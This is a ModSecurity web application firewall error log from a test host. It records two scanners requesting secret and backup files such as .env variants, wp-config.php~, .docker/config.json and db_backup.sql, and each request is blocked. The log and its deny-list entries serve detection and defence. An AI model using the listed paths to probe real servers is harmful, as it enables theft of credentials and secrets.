[Sun Nov 30 15:25:51.627376 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aSxT73-YzzK-2pqhifF4SAAAAEU&quot;]
[Sun Nov 30 15:25:51.627582 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aSxT73-YzzK-2pqhifF4SAAAAEU&quot;]
[Sun Nov 30 15:25:51.852673 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;aSxT73-YzzK-2pqhifF4SQAAAEU&quot;]
[Sun Nov 30 15:25:51.853015 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;aSxT73-YzzK-2pqhifF4SQAAAEU&quot;]
[Sun Nov 30 15:25:51.853221 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;aSxT73-YzzK-2pqhifF4SQAAAEU&quot;]
[Sun Nov 30 15:25:52.528083 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.save&quot;] [unique_id &quot;aSxT8H-YzzK-2pqhifF4TAAAAEU&quot;]
[Sun Nov 30 15:25:52.528305 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.save&quot;] [unique_id &quot;aSxT8H-YzzK-2pqhifF4TAAAAEU&quot;]
[Sun Nov 30 15:25:52.528500 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.save&quot;] [unique_id &quot;aSxT8H-YzzK-2pqhifF4TAAAAEU&quot;]
[Sun Nov 30 15:25:53.222657 2025] [:error] [pid 429215] [client 18.228.238.136:36500] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;.docker/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/config.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/config.json&quot;] [unique_id &quot;aSxT8dS7rIt1xMi8OZXl0AAAAAE&quot;]
[Sun Nov 30 15:25:53.222894 2025] [:error] [pid 429215] [client 18.228.238.136:36500] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/config.json&quot;] [unique_id &quot;aSxT8dS7rIt1xMi8OZXl0AAAAAE&quot;]
[Sun Nov 30 15:25:53.223075 2025] [:error] [pid 429215] [client 18.228.238.136:36500] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/config.json&quot;] [unique_id &quot;aSxT8dS7rIt1xMi8OZXl0AAAAAE&quot;]
[Sun Nov 30 15:25:53.453030 2025] [:error] [pid 429215] [client 18.228.238.136:36500] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.orig&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.orig&quot;] [unique_id &quot;aSxT8dS7rIt1xMi8OZXl0QAAAAE&quot;]
[Sun Nov 30 15:25:53.453244 2025] [:error] [pid 429215] [client 18.228.238.136:36500] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.orig&quot;] [unique_id &quot;aSxT8dS7rIt1xMi8OZXl0QAAAAE&quot;]
[Sun Nov 30 15:25:53.453428 2025] [:error] [pid 429215] [client 18.228.238.136:36500] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.orig&quot;] [unique_id &quot;aSxT8dS7rIt1xMi8OZXl0QAAAAE&quot;]
[Sun Nov 30 15:25:54.147655 2025] [:error] [pid 429215] [client 18.228.238.136:36500] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.save&quot;] [unique_id &quot;aSxT8tS7rIt1xMi8OZXl1AAAAAE&quot;]
[Sun Nov 30 15:25:54.147872 2025] [:error] [pid 429215] [client 18.228.238.136:36500] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.save&quot;] [unique_id &quot;aSxT8tS7rIt1xMi8OZXl1AAAAAE&quot;]
[Sun Nov 30 15:25:54.148088 2025] [:error] [pid 429215] [client 18.228.238.136:36500] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.save&quot;] [unique_id &quot;aSxT8tS7rIt1xMi8OZXl1AAAAAE&quot;]
[Sun Nov 30 15:25:54.378034 2025] [:error] [pid 429215] [client 18.228.238.136:36500] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/logs/dev.log&quot;] [unique_id &quot;aSxT8tS7rIt1xMi8OZXl1QAAAAE&quot;]
[Sun Nov 30 15:25:54.378436 2025] [:error] [pid 429215] [client 18.228.238.136:36500] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/logs/dev.log&quot;] [unique_id &quot;aSxT8tS7rIt1xMi8OZXl1QAAAAE&quot;]
[Sun Nov 30 15:25:54.378654 2025] [:error] [pid 429215] [client 18.228.238.136:36500] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/logs/dev.log&quot;] [unique_id &quot;aSxT8tS7rIt1xMi8OZXl1QAAAAE&quot;]
[Sun Nov 30 18:08:29.817617 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aSx6DV1RgwzjQxTFQvL8_AAAAAg&quot;]
[Sun Nov 30 18:08:29.817785 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aSx6DV1RgwzjQxTFQvL8_AAAAAg&quot;]
[Sun Nov 30 18:08:29.817982 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aSx6DV1RgwzjQxTFQvL8_AAAAAg&quot;]
[Sun Nov 30 18:08:29.818159 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aSx6DV1RgwzjQxTFQvL8_AAAAAg&quot;]
[Sun Nov 30 18:08:30.048247 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php~&quot;] [unique_id &quot;aSx6Dl1RgwzjQxTFQvL8_QAAAAg&quot;]
[Sun Nov 30 18:08:30.048489 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php~&quot;] [unique_id &quot;aSx6Dl1RgwzjQxTFQvL8_QAAAAg&quot;]
[Sun Nov 30 18:08:30.048706 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php~&quot;] [unique_id &quot;aSx6Dl1RgwzjQxTFQvL8_QAAAAg&quot;]
[Sun Nov 30 18:08:30.278573 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /saas/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/saas/.env&quot;] [unique_id &quot;aSx6Dl1RgwzjQxTFQvL8_gAAAAg&quot;]
[Sun Nov 30 18:08:30.278804 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/saas/.env&quot;] [unique_id &quot;aSx6Dl1RgwzjQxTFQvL8_gAAAAg&quot;]
[Sun Nov 30 18:08:30.279510 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/saas/.env&quot;] [unique_id &quot;aSx6Dl1RgwzjQxTFQvL8_gAAAAg&quot;]
[Sun Nov 30 18:08:30.739401 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aSx6Dl1RgwzjQxTFQvL9AAAAAAg&quot;]
